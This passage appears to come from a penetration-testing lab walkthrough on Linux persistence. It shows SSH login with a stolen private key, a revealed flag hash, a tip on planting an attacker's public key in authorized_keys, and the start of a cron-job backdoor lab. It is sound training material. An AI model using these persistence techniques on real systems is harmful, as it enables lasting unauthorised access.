Log back into the target system and trigger the password and connection reset
ssh student@192.3.140.3
rm wait
# Old student's password do not work anymore
Connect to the target using the downloaded private key
ssh -i id_rsa student@192.3.140.3
Reveal Flag: 🚩
689227a4f1b97afe1ff5ebaf85babc19
📌 Instead of using a user's private key, typically the attacker generates an SSH key pair on his system, keeps the private key on his system, transfers the public key onto the target system user's home .ssh directory and adds it in the authorized_keys file.
Lab 2 - Cron Jobs
Target IP: 192.175.36.3
Persistence via Cron Jobs
Initial credentials: student :password
ip -br -c a
192.175.36.2/24
ssh student@192.175.36.3
Cron Jobs
ls -al
drwxr-xr-x 1 student student 4096 Apr 29 14:04 .
drwxr-xr-x 1 root root 4096 Apr 26 2019 ..
-rw------- 1 student student 18 Apr 29 14:04 .bash_history
drwx------ 2 student student 4096 Apr 29 14:04 .cache
-rw-r--r-- 1 student student 91 Apr 26 2019 wait
cat wait
Delete this file to trigger connection reset.
Delete it only after planting the backdoor.
cat /etc/cron*
Persistence
Create a new Cron job as the student user
The command inside the cron job will be executed with the student's permissions'
